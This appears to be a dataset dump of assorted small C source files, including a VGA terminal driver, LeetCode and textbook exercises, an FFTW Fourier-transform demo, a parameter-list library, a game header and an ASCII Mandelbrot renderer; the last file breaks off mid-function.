language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include "vga.h"
#include <stdint.h>
#include <stddef.h>
#include "string.h"
static const size_t VGA_WIDTH = 80;
static const size_t VGA_HEIGHT = 25;
uint8_t make_color(vga_color fg, vga_color bg) {
return fg | bg << 4;
}
uint16_t make_vgaentry(char c, uint8_t color) {
uint16_t c16 = c;
uint16_t color16 = color;
return c16 | color16 << 8;
}
size_t terminal_row, terminal_col;
uint16_t* terminal_buffer;
void terminal_initialize() {
terminal_row = 0;
terminal_col = 0;
uint8_t color = make_color(COLOR_LIGHT_GREY, COLOR_BLACK);
terminal_buffer = (uint16_t*) 0xB8000; //I like the zen of memory address casts. Why is this at 0xB8000? Because it is.
for (size_t row = 0; row < VGA_HEIGHT; row++)
{
for(size_t col = 0; col < VGA_WIDTH; col++)
{
const size_t index = row * VGA_WIDTH + col;
terminal_buffer[index] = make_vgaentry(' ', color);
}
}
}
void terminal_changeEntryTo(char c, uint8_t color, size_t x, size_t y)
{
const size_t index = y * VGA_WIDTH + x;
terminal_buffer[index] = make_vgaentry(c, color);
}
void terminal_putchar(char c, uint8_t color)
{
if (c == '\n') //Newlines have to be supported at some point.
{
terminal_col = 0;
if (++terminal_row == VGA_HEIGHT)
{
terminal_row = 0;
}
}
else
{
terminal_changeEntryTo(c, color, terminal_col, terminal_row);
if (++terminal_col == VGA_WIDTH)
{
terminal_col = 0;
if (++terminal_row == VGA_HEIGHT)
{
terminal_row = 0;
}
}
}
}
void terminal_print(const char* data, uint8_t color)
{
size_t datalen = strlen(data);
for (size_t i = 0; i < datalen; i++)
terminal_putchar(data[i], color);
}
|
C
|
#include <stdio.h>
#include "helloConfig.h"
#include "MathFunctions.h"
int main(int argc, char **argv) {
printf("Hello World from cmake\n");
/* passing version from CMakelists to c program */
printf("Version %d.%d\n", hello_VERSION_MAJOR, hello_VERSION_MINOR);
/* Use of library */
double outputValue = mysqrt(9);
printf("square root is : %lf\n", outputValue);
return 0;
}
|
C
|
/*
* @lc app=leetcode.cn id=258 lang=c
*
* [258] 各位相加
*
* https://leetcode-cn.com/problems/add-digits/description/
*
* algorithms
* Easy (67.49%)
* Likes: 272
* Dislikes: 0
* Total Accepted: 46.6K
* Total Submissions: 69K
* Testcase Example: '38'
*
* 给定一个非负整数 num,反复将各个位上的数字相加,直到结果为一位数。
*
* 示例:
*
* 输入: 38
* 输出: 2
* 解释: 各位相加的过程为:3 + 8 = 11, 1 + 1 = 2。 由于 2 是一位数,所以返回 2。
*
*
* 进阶:
* 你可以不使用循环或者递归,且在 O(1) 时间复杂度内解决这个问题吗?
*
*/
// @lc code=start
int addDigits(int num){
return (num-1)%9+1;
}
// @lc code=end
|
C
|
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<stdbool.h>
#define SIZE 10
int main(void)
{
char random_walk[SIZE][SIZE];
bool is_period[SIZE][SIZE];
int i, j, prev_i, prev_j, letter_count, direction, ways_blocked;
for(i = 0; i < SIZE; i++)
for(j = 0; j < SIZE; j++){
random_walk[i][j] = '.';
is_period[i][j] = true;
}
srand(time(NULL));
for(i = j = letter_count = ways_blocked = 0; letter_count <= 25; letter_count++, ways_blocked = 0){
random_walk[i][j] = 'A' + letter_count;
is_period[i][j] = false;
//Stores the previous position
prev_i = i;
prev_j = j;
//Generates a number between 0-3, where 0=up, 1=right, 2=down, 3=left
direction = rand() % 4;
place_letter:
if(ways_blocked >= 4)
break;
switch(direction){
case 0: i--; break;
case 1: j++; break;
case 2: i++; break;
case 3: j--; break;
}
if(!is_period[i][j]){
i = prev_i;
j = prev_j;
direction++;
ways_blocked++;
if(direction >= 4)
direction = 0;
goto place_letter;
}
if(i < 0){
i = prev_i;
direction++;
ways_blocked++;
if(direction >= 4)
direction = 0;
goto place_letter;
}
else if(i >= SIZE){
i = prev_i;
direction++;
ways_blocked++;
if(direction >= 4)
direction = 0;
goto place_letter;
}
if(j < 0){
j = prev_j;
direction++;
ways_blocked++;
if(direction >= 4)
direction = 0;
goto place_letter;
}
else if(j >= SIZE){
j = prev_j;
direction++;
ways_blocked++;
if(direction >= 4)
direction = 0;
goto place_letter;
}
}
for(i = 0; i < SIZE; i++, printf("\n"))
for(j = 0; j < SIZE; j++)
printf("%2c", random_walk[i][j]);
return 0;
}
|
C
|
/*
02-01-12
File I/O in C
*/
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
printf("\n02-01-12\n\n");
FILE *pFile = fopen("index.html", "w");
// Write content to the HTML file
if (pFile != NULL)
{
fputs("<!doctype html>\n", pFile);
fputs("<html lang=\"en-us\">\n", pFile);
fputs(" <head>\n", pFile);
fputs(" <meta charset=\"utf-8\">\n", pFile);
fputs(" <title>C FILE I/O</title>\n", pFile);
fputs(" <link rel=\"stylesheet\" href=\"style.css\">\n", pFile);
fputs(" </head>\n", pFile);
fputs(" <body>\n", pFile);
fputs(" <h1>C FILE I/O</h1>\n", pFile);
fputs(" </body>\n", pFile);
fputs("</html>\n", pFile);
fclose(pFile);
}
pFile = fopen("style.css", "w");
// Write content to CSS file
if (pFile != NULL)
{
fputs("body {\n", pFile);
fputs(" background-color: black;\n", pFile);
fputs(" color: white;\n", pFile);
fputs(" font-family: monospace;\n", pFile);
fputs(" font-size: 1.5em;\n", pFile);
fputs("}\n", pFile);
fputs("\n", pFile);
fputs("h1 {\n", pFile);
fputs(" background: rgba(0, 0, 0, 0.15);\n", pFile);
fputs(" padding: 30px;\n", pFile);
fputs(" text-align: center;\n", pFile);
fputs("}\n", pFile);
fclose(pFile);
}
system("index.html");
return 0;
}
|
C
|
#include <stdio.h>
int callCount(void){
static int count = 0;
return (++count);
}
void doIt(){
printf("%d\n", callCount());
printf("%d\n", callCount());
printf("%d\n", callCount());
printf("%d\n", callCount());
printf("%d\n", callCount());
printf("%d\n", callCount());
printf("%d\n", callCount());
}
int main(){
doIt();
}
|
C
|
# include <stdio.h>
int main(int argc, char *argv[])
{
int a,b,c,s,e,flag=0,x=1,y=1,count=0,fi=1,r=0,ew=0;
scanf("%d%d%d",&a,&b,&c);
s=a*b;
e=s/c;
printf("%d ",e+s%c);
while((r++)!=s)
{
count++;
printf("%d %d ",x,y);
if(flag==0 && y!=b)y++;
else if(flag==1 && y!=1)y--;
else if(y==b){x++; flag=1; }
else if(y==1){x++; flag=0; }
if((count%e==0 && fi==0 && ew==c-1) || (count==e+s%c && fi==1 && ew==c-1))
printf("\n");
else if(count%e==0 && fi==0)
{ew++; printf("\n%d ",e); }
else if(count== e+s%c && fi==1)
{ printf("\n%d ",e); fi=0; count=0; ew++;}
}
return 0;
}
|
C
|
/*
* Author : Koshvendra Singh
* Email : koshvendra.singh@tifr.res.in
* Date : 18/05/2020
* Description : C code for computing fourier transform(FT) of gussian function using FFTW
and then plotting is done in python.
* compile using "gcc FT_gaussian.c -lfftw3 -lm -o gauss.out "
*/
#include<stdio.h>
#include<stdlib.h>
#include<complex.h>
#include<fftw3.h>
#include<math.h>
int main () {
double x,freq,An_ft,l;
fftw_complex *gauss,*ft_gauss,*ft_gauss_s ;
fftw_plan plan;
int num = 512; // no. of points function to be calculated at
double R[]={-25,25}; // range of x axis
double pi=22.0/7.0 ;
double dx=(R[1]-R[0])/(num-1); // resolution in x space
double df=1/(num*dx) ; //resolution in frequency space
// memory allocation
gauss = (fftw_complex*) fftw_malloc(sizeof(fftw_complex)*num);
ft_gauss=(fftw_complex*) fftw_malloc(sizeof(fftw_complex)*num);
ft_gauss_s=(fftw_complex*) fftw_malloc(sizeof(fftw_complex)*num);
double *Ana_ft=(double*) malloc(sizeof(double)*num);
///double *freq=(double*) malloc(sizeof(double)*num)
/// double *freq=(double*) malloc(sizeof(double)*num);
// sampling of function
for(int i=0;i<num;i++)
{
x=(i*dx) + R[0];
gauss[i] = exp(-1*x*x);
}
// Computing fourier transform
plan=fftw_plan_dft_1d(num,gauss,ft_gauss,FFTW_FORWARD,FFTW_ESTIMATE);
fftw_execute(plan);
// shifting the sample of FT s.t. zero frequency term comes in center
fftw_complex k;
for (int i=0;i<num/2;i++)
{
k=ft_gauss[i];
ft_gauss_s[i] = ft_gauss[i+num/2];
ft_gauss_s[i+num/2]=k;
}
// Analytical fourier transform : 0.5*exp(-k*k/2)
// getting an array of analytical solution and array of frequency
//for (int i=0;i<num;i++){
//freq[i]=2*pi*(i-(num/2))*df;
//Ana_ft[i]=(pow(2,0.5))*exp(-(freq[i]*freq[i])/4);
//}
// file to save data of the result
FILE *file;
int st=remove("gauss.txt");
file= fopen("gauss.txt","w+");
// taking the data on the file
fftw_complex factor;
for (int i=0;i<num;i++)
{
freq=2*pi*(i-(num/2))*df;
factor=cos(-1*freq*R[0])+ I*sin(-1*freq*R[0]);
An_ft=(1/(pow(2,0.5)))*exp(-1*(freq*freq)/4);
l=(dx/ (pow(2*pi,0.5)) );
fprintf(file,"%f %f %f\n",freq,l*creal(factor*ft_gauss_s[i]), An_ft);
}
//destroying the plan and freeing the pointers
fftw_destroy_plan(plan);
fftw_free(gauss);
fftw_free(ft_gauss);
fftw_free(ft_gauss_s);
return(0);
}
|
C
|
#include "my_functions.h"
void print_tebahpla(void){
int i = 122; /* The ASCII for 'z' */
while(i > 96){ /* The ASCII just before 'a' */
print_char(i);
i--;
}
}
|
C
|
/* Problem Statment: program which accept number from user and print even factor of that number */
/*
Algorithm:
START
Enter number
Using for loop
Print even factor of that number
END
*/
#include<stdio.h> //Header file
//////////////////////////////////////////////////////////
//
// Function Name: DisplayFactor
// Input: integer
// Output: integer
// Description : It is used print even factor of that number
// Date: 31 July 2020
// Author: Ankita A Javalekar
//
//////////////////////////////////////////////////////////
void DisplayFactor(int iNo)
{
int i = 0;
if(iNo <= 0)
{
iNo = -iNo;
}
for(i=1; i<iNo ;i++)
{
if(iNo%i==0)
{
printf("\t%d",i);
}
}
}
int main()
{
int iValue = 0;
printf("enter number:");
scanf("%d",&iValue);
DisplayFactor(iValue);
return 0;
}
|
C
|
/*************************************************************************
> File Name: wait.c
> Author: Xixi
> Mail: 985632368@qq.com
> Created Time: Sat 31 Oct 2015 10:57:28 AM CST
************************************************************************/
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<unistd.h>
int main(int argc,char* argv[])
{
int i=0;
for(;i<3;i++)
{
pid_t id=fork();
if(id==0)
printf("%d child\n",i);
else
printf("%d father\n",i);
}
return 0;
}
/*共14次,三次for的执行,相当与,第i+1次的for在第i次下执行,三次的fork嵌套,fork下的会执行两次;因此i==0的child ,father各一次,i==1各两次,i==2各四次*/
|
C
|
#ifndef PTRSLIST_H_
#define PTRSLIST_H_
#include "snode.h"
typedef struct {
SNode *head;
int length;
int elemSize;
void (*freefn)(void *);
}PtrSList;
/* initialise a list */
void PtrSListNew(PtrSList *list, int elemSize, void (*)(void *));
/* insert an element from list's head */
void PtrSListHInsert(PtrSList *list, void *elem);
/* display a list */
void PtrSListDisplay(PtrSList *list, void (*display)(void *));
/* free a list */
void PtrSListDepose(PtrSList *list);
#endif
|
C
|
/*
* SSE2 string routines library
* header file
*
* $Revision: 1.3 $, $Date: 2007-08-30 20:56:15 $
*
* Author: Wojciech Mua
* e-mail: wojciech_mula@poczta.onet.pl
* project page: http://0x80.pl/proj/sse2string
*
* License: BSD
*/
#ifndef __SSESTR_H_INCLUDED
#define __SSESTR_H_INCLUDED
#ifdef __pure__
# undef __pure__
#endif
#ifdef __GNUC__
# define __pure__ __attribute__((pure))
#else
# define __pure__
#endif
#include <stddef.h>
/* string.h replacement */
extern size_t sse2_strlen(const char* s) __pure__;
extern char* sse2_strchr(const char* s, int c) __pure__;
extern char* sse2_strrchr(const char* s, int c) __pure__;
extern int sse2_strcmp(const char* s1, const char* s2) __pure__;
/* unsafe string.h functions, i.e. assert aligned pointers and
do not prevent reads beyond program's address space */
extern size_t sse2_strlen_unsafe(const char* s) __pure__;
extern char* sse2_strchr_unsafe(const char* s, int c) __pure__;
extern char* sse2_strrchr_unsafe(const char* s, int c) __pure__;
extern int sse2_strcmp_unsafe(const char* s1, const char* s2) __pure__;
extern int sse2_strncmp_unsafe(const char* s1, const char* s2, size_t n) __pure__;
#endif
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include "libTableauNoir.h"
/* Declaration de structures et constantes */
#define LARGEUR 900
#define HAUTEUR 900
#define TAILLE_BLOC 60
#define H_REC 50
#define L_REC 400
#define TAILLE_TRAIS 3
typedef struct { // Structure coordonn�es
int x;
int y;
} coord_t;
typedef struct { // Structure couleur
int r;
int v;
int b;
} couleur_t;
typedef struct { // Structure joueur
int n; // Num�ro du joueur
Image I[13]; // Images du personnage
couleur_t clr;
coord_t c;
int puissance; // Puissance (bombes)
int nb_bombe; // Nombre de bombes
int v; // Vitesse
int etat; // 0 si mort / 1 si vivant
int haut;
int bas;
int droite;
int gauche;
} player_t;
typedef struct { // Structure bombe
coord_t c;
int puissance; // Largeur de l'explosion
int player; // Joueur auquel la bombe appartient
double t; // Temps pour explosion
} bombe_t;
typedef struct { // Structure bloc (cases)
int type;
coord_t c;
double t; // temps du bloc (si explosion)
} bloc_t;
typedef struct { // Structure terrain (jeu)
int type; // Choix du d�cors 1 ou 2
bloc_t b[15][15]; // Blocs du d�cors
player_t p[2]; // Joueurs
Image I[120]; // Images servant au jeu
bombe_t bmb[15][15]; // Bombes (tableau correspontdant � celui des blocs
} terrain_t;
terrain_t terrain;
int x[36];
int y[36];
double tp[12];
/* Declaration de fonctions */
void chargement_Menu();
int menu(player_t);
int options(player_t);
int choix_terrain(player_t);
int choix_perso(player_t);
int controles(player_t);
void dessiner_rectangle(Image, int, int, int, couleur_t);
player_t red_player();
player_t blue_player();
player_t black_player();
player_t white_player();
player_t gold_player();
int jeu(player_t *);
terrain_t init_terrain(terrain_t);
terrain_t affiche_terrain (terrain_t, double);
terrain_t explosion(terrain_t, double);
coord_t position_grille(coord_t c);
void player(player_t *);
int deplacement_gauche (player_t);
int deplacement_droite (player_t);
int deplacement_haut (player_t);
int deplacement_bas (player_t);
void poser_bombe(player_t *, double t);
void chargement_Terrain();
|
C
|
#include <libdkc/dkc_params.h>
#include <string.h>
#include <stdlib.h>
DkcParams* dkc_params_wrap(const char* name, ...) {
DkcParams* params = NULL;
va_list args;
va_start(args, name);
params = dkc_params_vwrap(name, args);
va_end(args);
return params;
}
DkcParams* dkc_params_vwrap(const char* name, va_list args) {
DkcParams* params = NULL;
char* nname = name;
DkcParamType type;
params = dkc_params_create();
while(nname != NULL){
type = va_arg(args, DkcParamType);
switch(type){
case INT: {
dkc_params_set_int(params, nname, va_arg(args, int));
}
break;
case FLOAT: {
dkc_params_set_float(params, nname, va_arg(args, double));
}
break;
case STRING: {
dkc_params_set_string(params, nname, va_arg(args, char*));
}
break;
case FRACTION: {
dkc_params_set_fraction(params, nname,
(DkcFraction){va_arg(args, int), va_arg(args, int)});
}
break;
default: {
}
break;
}
nname = va_arg(args, char*);
}
return params;
}
gboolean dkc_params_pop_all(DkcParams *params, dkc_param_cb param_cb, void* ctx) {
if(params == NULL) return ERROR;
DkcParam* param = params->first;
DkcParam* rparam = NULL;
while(param != NULL){ //Iterate over existing params
rparam = param;
param=param->next;
gboolean rc;
switch(rparam->type){
case INT: {
int value;
dkc_params_get_int(params, rparam->name, &value);
param_cb(rparam->name, rparam->type, &value, ctx);
}
break;
case FLOAT: {
float value;
dkc_params_get_float(params, rparam->name, &value);
param_cb(rparam->name, rparam->type, &value, ctx);
}
break;
case STRING: {
char *value;
dkc_params_get_string(params, rparam->name, &value);
param_cb(rparam->name, rparam->type, value, ctx);
free(value);
}
break;
case FRACTION: {
DkcFraction *value;
dkc_params_get_fraction(params, rparam->name, &value);
param_cb(rparam->name, rparam->type, value, ctx);
free(value);
}
}
params->nb_params--;
}
return OK;
}
int dkc_params_fetch_int(DkcParams *params, const char* name, int default_value) {
int value;
if(dkc_params_get_int(params, name, &value))
return value;
else
return default_value;
}
float dkc_params_fetch_float(DkcParams *params, const char* name, float default_value) {
float value;
if(dkc_params_get_float(params, name, &value))
return value;
else
return default_value;
}
char* dkc_params_fetch_string(DkcParams *params, const char* name, char* default_value) {
char* value;
if(!dkc_params_get_string(params, name, &value)) {
value = malloc((strlen(default_value)+1)*sizeof(char));
memcpy(value, default_value, (strlen(default_value)+1)*sizeof(char));
}
return value;
}
DkcFraction dkc_params_fetch_fraction(DkcParams *params, const char* name, DkcFraction default_value) {
DkcFraction value;
if(dkc_params_get_fraction(params, name, &value)) {
return value;
} else
return default_value;
}
DkcParams* dkc_params_create() {
DkcParams* params = malloc(sizeof(DkcParams));
params->first = NULL;
params->nb_params = 0;
params->refs = 1;
return params;
}
gboolean dkc_set_param(DkcParams *params, const char* name, DkcParamType type, void* value) {
uint16_t name_length = strlen(name);
if(params->first == NULL) { //No param in the list yet
params->first = malloc(sizeof(DkcParam));
params->first->type = type;
if(type == INT)
params->first->data.int_value = *(int*)value;
else if(type == FLOAT)
params->first->data.float_value = *(float*)value;
else if(type == STRING){
params->first->data.string_value = malloc((strlen(value)+1)*sizeof(char));
memcpy(params->first->data.string_value, value, (strlen(value)+1)*sizeof(char));
}
else if(type == FRACTION)
params->first->data.fraction_value = *(DkcFraction*)value;
params->first->name = malloc((name_length+1)*sizeof(char));
memcpy(params->first->name, name, name_length+1);
params->first->next = NULL;
params->nb_params++;
return OK;
} else {
DkcParam* prev_param = NULL;
DkcParam* param = params->first;
while(param != NULL){ //Iterate over existing params
if(strcmp(name, param->name) == 0) { //Param with this name already exists
if(param->type == type) { //Update if types do match
if(type == INT)
param->data.int_value = *(int*)value;
else if(type == FLOAT)
param->data.float_value = *(float*)value;
else if(type == STRING) {
free(param->data.string_value);
param->data.string_value = malloc((strlen(value)+1)*sizeof(char));
memcpy(param->data.string_value, value, (strlen(value)+1)*sizeof(char));
}
else if(type == FRACTION)
param->data.fraction_value = *(DkcFraction*)value;
} else return ERROR; //Something is wrong, types are differents
return OK;
}
prev_param = param;
param=param->next;
}
//at this point, no existing param with this name, add it to the list.
prev_param->next=malloc(sizeof(DkcParam));
prev_param->next->type = type;
prev_param->next->name = malloc((name_length+1)*sizeof(char));
memcpy(prev_param->next->name, name, name_length+1);
if(type == INT)
prev_param->next->data.int_value = *(int*)value;
else if(type == FLOAT)
prev_param->next->data.float_value = *(float*)value;
else if(type == STRING) {
prev_param->next->data.string_value = malloc((strlen(value)+1)*sizeof(char));
memcpy(prev_param->next->data.string_value, value, (strlen(value)+1)*sizeof(char));
}
else if(type == FRACTION)
prev_param->next->data.fraction_value = *(DkcFraction*)value;
prev_param->next->next = NULL;
params->nb_params++;
return OK;
}
}
gboolean dkc_params_set_int(DkcParams *params, const char* name, int value) {
return dkc_set_param(params, name, INT, &value);
}
gboolean dkc_params_set_float(DkcParams *params, const char* name, float value) {
return dkc_set_param(params, name, FLOAT, &value);
}
gboolean dkc_params_set_string(DkcParams *params, const char* name, char* value) {
return dkc_set_param(params, name, STRING, value);
}
gboolean dkc_params_set_fraction(DkcParams *params, const char* name, DkcFraction value) {
return dkc_set_param(params, name, FRACTION, &value);
}
gboolean dkc_get_param(DkcParams *params, const char* name, DkcParamType type, void** value) {
uint16_t name_length = strlen(name);
DkcParam* param = params->first;
while(param != NULL){ //Iterate over existing params
if(strcmp(name, param->name) == 0) { //Param with this name already exists
if(param->type == type) //return value if types do match
if(type == INT)
**(int**)value = param->data.int_value;
else if(type == FLOAT)
**(float**)value = param->data.float_value;
else if(type == STRING) {
(*value) = malloc((strlen(param->data.string_value)+1)*sizeof(char));
memcpy(*value, param->data.string_value,
(strlen(param->data.string_value)+1)*sizeof(char));
}
else if(type == FRACTION)
**(DkcFraction**)value = param->data.fraction_value;
else //Something is wrong, types are differents
return ERROR;
return OK;
}
param=param->next;
}
//at this point, no existing param with this name
return ERROR;
}
gboolean dkc_params_get_int(DkcParams *params, const char* name, int* value) {
return dkc_get_param(params, name, INT, &value);
}
gboolean dkc_params_get_float(DkcParams *params, const char* name, float* value) {
return dkc_get_param(params, name, FLOAT, &value);
}
gboolean dkc_params_get_string(DkcParams *params, const char* name, char** value) {
return dkc_get_param(params, name, STRING, value);
}
gboolean dkc_params_get_fraction(DkcParams *params, const char* name, DkcFraction* value) {
return dkc_get_param(params, name, FRACTION, &value);
}
gboolean dkc_params_unset(DkcParams *params, const char* name) {
if(params == NULL) return ERROR;
DkcParam* prev_param = NULL;
DkcParam* param = params->first;
while(param != NULL){ //Iterate over existing params
if(strcmp(name, param->name) == 0) { //Param with this name exists
if(prev_param != NULL) prev_param->next=param->next;
else params->first = param->next;
free(param->name);
if(param->type == STRING)
free(param->data.string_value);
free(param);
params->nb_params--;
return OK;
}
prev_param = param;
param=param->next;
}
//at this point, no existing param with this name
return ERROR;
}
gboolean dkc_params_delete(DkcParams *params) {
if(params == NULL) return ERROR;
DkcParam* param = params->first;
DkcParam* rparam = NULL;
while(param != NULL){ //Iterate over existing params
rparam = param;
param=param->next;
free(rparam->name);
if(rparam->type == STRING)
free(rparam->data.string_value);
free(rparam);
params->nb_params--;
}
if(params->nb_params > 0)
return ERROR;
free(params);
return OK;
}
gboolean dkc_params_ref(DkcParams *params) {
params->refs++;
}
gboolean dkc_params_unref(DkcParams *params) {
params->refs--;
if(params->refs == 0) dkc_params_delete(params);
}
|
C
|
#define STRLEN 16
struct A {
struct B *ptr_a; //
char string_b[STRLEN]; // Capitalize Strings
int num_c; // >0 or set to 0
int num_d; // >0 or set to 0
char string_e[STRLEN]; // Must have vowel or add to end
int num_f; // Any integer
int num_g; // >0 or set to 0
struct C *ptr_h; //
int (*op0)(struct A *objA);
int (*op1)(struct A *objA); //i - j = 12345678
int (*op2)(struct A *objA);
};
struct B {
char string_a[STRLEN]; // Must have vowel or add to end
char string_b[STRLEN]; // Must have vowel or add to end
char string_c[STRLEN]; // Must have vowel or add to end
int num_d; // <0 or set to 0
};
struct C {
int num_a; // >0 or set to 0
int num_b; // <0 or set to 0
char string_c[STRLEN]; // Capitalize Strings
int num_d; // Any integer
int num_e; // >0 or set to 0
char string_f[STRLEN]; // Capitalize Strings
int num_g; // >0 or set to 0
};
|
C
|
////////////////////////////////////////////////////////////////////////
// ASCII-BROT :: Student Exercise
/*
TASK ONE: Implement the incomplete functions:
- int mandelbrot(double x, double y);
- void square(point * p);
- double lengthSquared(point * p);
TASK TWO: Allow the user to specify a different centre point:
- Currently the centre point is always (0,0).
- By modifying the range values for X/Y axis, you can
set the centre point to be any 2D point you like.
CHALLENGE: Provide a way for the user to specify a 'zoom' level for
rendering the mandelbrot set.
- In order to implement zoom you will have to replace
the calculation for scaling the provided x/y values.
- The zoom level is the number of complex plane units
between each coordinate represented by a character
in the Ascii-Brot.
- For example, initially we have a height of 30 characters,
with a Y-Axis range of (1 - -1) == 2. This means that
there are 30/2 units between each coordinate represented
by a character in the Ascii-Brot.
For this example if we replaced the axis ranges with zoom,
then a zoom level of 30/2 would give us the same mandelbrot.
*/
////////////////////////////////////////////////////////////////////////
// std headers
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <math.h>
// logic defines
#define TRUE 1
#define FALSE 0
// ascii-brot size
#define HEIGHT 30
#define WIDTH 72
#define MAX_ITERATIONS 255
// ascii-brot viewport
#define MIN_X -1.5
#define MAX_X 1
#define MIN_Y -1
#define MAX_Y 1
#define X_RANGE (MAX_X - MIN_X)
#define Y_RANGE (MAX_Y - MIN_Y)
// *** STUDENT REQUIRED TO COMPLETE THESE FUNCTIONS *** //
int mandelbrot(double x, double y, double *zoomAndZero);
double squareX(double x, double y);
double squareY(double x, double y);
double lengthSquared(double x, double y);
double zeConvertX(double x, double *zoomAndZero);
double zeConvertY(double y, double *zoomAndZero);
void testUnit(void);
double zoomLevelX(double *zoomAndZero);
double zoomLevelY(double *zoomAndZero);
void askStuff(double *zoomAndZero);
////////////////////////////////////////////////////////////////////////
// complete the mandelbrot algorithm to render a beautiful ASCII-BROT!
int main(int argc, char * argv[]) {
printf(" UNSW Computing 1 - ASCII-BROT\n");
testUnit();
// iterate through each row
int x = 0;
int y = 0;
double zoomAndZero[3];
askStuff(zoomAndZero);
while (y < HEIGHT)
{
// iterate through each column
while (x < WIDTH)
{
if (mandelbrot(x, y, zoomAndZero))
{
printf("*");
}
else {
printf(" ");
}
x++;
}
printf("\n");
x = 0;
y++;
}
//scanf("%d", &x);
return EXIT_SUCCESS;
}
////////////////////////////////////////////////////////////////////////
// implement mandelbrot escape-time algorithm for a given x,y coordinate
// (whether or not a point is in the mandelbrot set or not)
int mandelbrot(double x, double y, double *zoomAndZero)
{
int result = TRUE;
double testCoordx = 0;
double testCoordy = 0;
double newCoordx = 0;
double newCoordy = 0;
int counter = 0;
double convertX = zeConvertX(x, zoomAndZero);
double convertY = zeConvertY(y, zoomAndZero);
while ((result == TRUE)&&(counter < MAX_ITERATIONS))
{
testCoordx = (newCoordx)+convertX;
testCoordy = (newCoordy)+convertY;
if (lengthSquared(testCoordx, testCoordy) > 4)
{
result = FALSE;
}
else
{
newCoordx = squareX(testCoordx, testCoordy);
newCoordy = squareY(testCoordx, testCoordy);
counter ++;
}
}
return result;
}
////////////////////////////////////////////////////////////////////////
// compute the length/magnitude (squared) of a 2D vector
// in other words the distance squared of a point from the origin.
double lengthSquared(double x, double y)
{
double valueLengthSquared = ((x * x) + (y * y));
return valueLengthSquared;
}
////////////////////////////////////////////////////////////////////////
// performs the calculation Z^2 for the real part of a complex number
double squareX(double x, double y)
{
double valueSquareX = ((x * x) - (y * y));
return valueSquareX;
}
////////////////////////////////////////////////////////////////////////
// performs the calculation Z^2 for the imaginary part of a complex number
double squareY(double x, double y)
{
double valueSquareY = (x*y + x*y);
return valueSquareY;
}
double zeConvertX(double x, double *zoomAndZero)
{
double zoomMod = zoomLevelX(zoomAndZero);
double stepOne = x / WIDTH;
double stepTwo = stepOne * (X_RANGE * zoomMod);
double stepThree = stepTwo + ((MIN_X * zoomMod) + zoomAndZero[0]);
return stepThree;
}
double zeConvertY(double y, double *zoomAndZero)
{
double zoomMod = zoomLevelY(zoomAndZero);
double stepOne = y / HEIGHT;
double stepTwo = stepOne * ((Y_RANGE * zoomMod)*-1);
double stepThree = stepTwo + ((MAX_Y * zoomMod) + zoomAndZero[1]);
return stepThree;
}
void testUnit(void)
{
//assert(zeConvertY(0) == 1);
//assert(zeConvertY(30) == -1);
//assert(zeConvertX(0) == -1.5);
//assert(zeConvertX(72) == 1);
}
double zoomLevelX(double *zoomAndZero)
{
double zoomLevel = zoomAndZero[2] / 100;
return zoomLevel;
}
double zoomLevelY(double *zoomAndZero)
{
double zoomLevel = zoomAndZero[2] / 100;
return zoomLevel;
}
void askStuff(double *zoomAndZero)
{
double newStartX = 0;
double newStartY = 0;
double zoom = 0;
printf("Enter (0, 0) value!\n");
printf("New Starting X coord:\n");
scanf("%lf", &newStartX);
printf("New Starting Y coord:\n");
scanf("%lf", &newStartY);
printf("Enter zoom level!\n");
scanf("%lf", &zoom);
zoomAndZero[0] = newStartX;
zoomAndZero[1] = newStartY;
zoomAndZero[2] = zoom;
}
// EOF
|
C
|
#include<stdio.h>
unsigned int f1 (unsigned int n){
unsigned int i, j, r = 0;
for (i = 1; i <= n; i++)
for (j = 1; j <= n; j++)
r += 1;
return r;
}
int main(void){
printf("%d", f1(3) );
}
|
C
|
#include<stdio.h>
//library for DynamicMemmoryAlloc
#include<stdlib.h>
#include<string.h>
int main()
{
int n,i;
//we can allocate memory at runtime of code
//printf("Enter the no. of times you want to run code : ");
//scanf("%d",&n);
scanf("%d",&n);
//defining pointer
//int* point;
/*****defining memory allocation*****/
//point = (int*)malloc(sizeof(int));
/*for(i=0;i<n;i++)
{
printf("Enter the number you want to allocate : ");
scanf("%d\n",&point[i]);
}
for(i=0;i<n;i++)
{
printf("%d\n",point[i]);
}*/
//printf("%d\n",*point);
//free(point);
//printf("%d\n",sizeof(point));
//printf("%d",*point);
/****Defining contigious allocation****/
int* points;
points=(int*)calloc(n,sizeof(int));
/*for(int i=0;i<n;i++)
{
printf("%d\n",i);
}*/
/*******Defining Re-allocation*******/
points=(int*) realloc(points,(n+1)*sizeof(int));
for(i=0;i<=n;i++)
{
printf("%d\n",i);
}
/*******defining free function*******/ //used to free the allocated memory
free(points);
}
|
C
|
/*
text.c
by Michael J. Fromberger <sting@linguist.dartmouth.edu>
Copyright (C) 1999 The Trustees of Dartmouth College
Text handling routines for tt2rom version 2
*/
#include "text.h"
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#define COMMENT_CHAR '#'
#define OPTBUF_SIZE 256
/* Remove line-end comments from a zero-terminated string */
void strip_comment(char *line) {
if (line == NULL) return;
while (*line) {
if (*line == COMMENT_CHAR) {
*line = '\0';
return;
}
++line;
}
} /* end strip_comment() */
/* A line is blank if it consists only of whitespace */
int is_blank(char *line) {
if (line == NULL) return 1; /* we will consider a NULL pointer a blank line */
while (isspace((int)*line)) ++line;
/*
If the first character after all the whitespace is the NUL terminator,
then the line is all whitespace; otherwise it's not
*/
return (*line == '\0');
} /* end is_blank() */
int is_prefix(char *str, char *of) {
if (str == NULL || of == NULL) return 0;
/* Empty string is a prefix of any string */
if (*str == '\0') return 1;
/* A non-empty string is a prefix iff all its characters
match a left subset of the target
*/
while (*str && *of && *str == *of) {
++str;
++of;
}
/* Did we match all the characters in the alleged prefix? */
return (*str == '\0');
} /* end is_prefix() */
int parse_option(char *opt, char **name, char **value) {
static char namebuf[OPTBUF_SIZE];
static char valbuf[OPTBUF_SIZE];
int pos = 0;
if (!is_prefix("--", opt)) return 0;
/* Preset outputs to NULL so we don't have to do it in multiple
places later on
*/
if (name) *name = NULL;
if (value) *value = NULL;
opt += 2; /* skip past leading '--' */
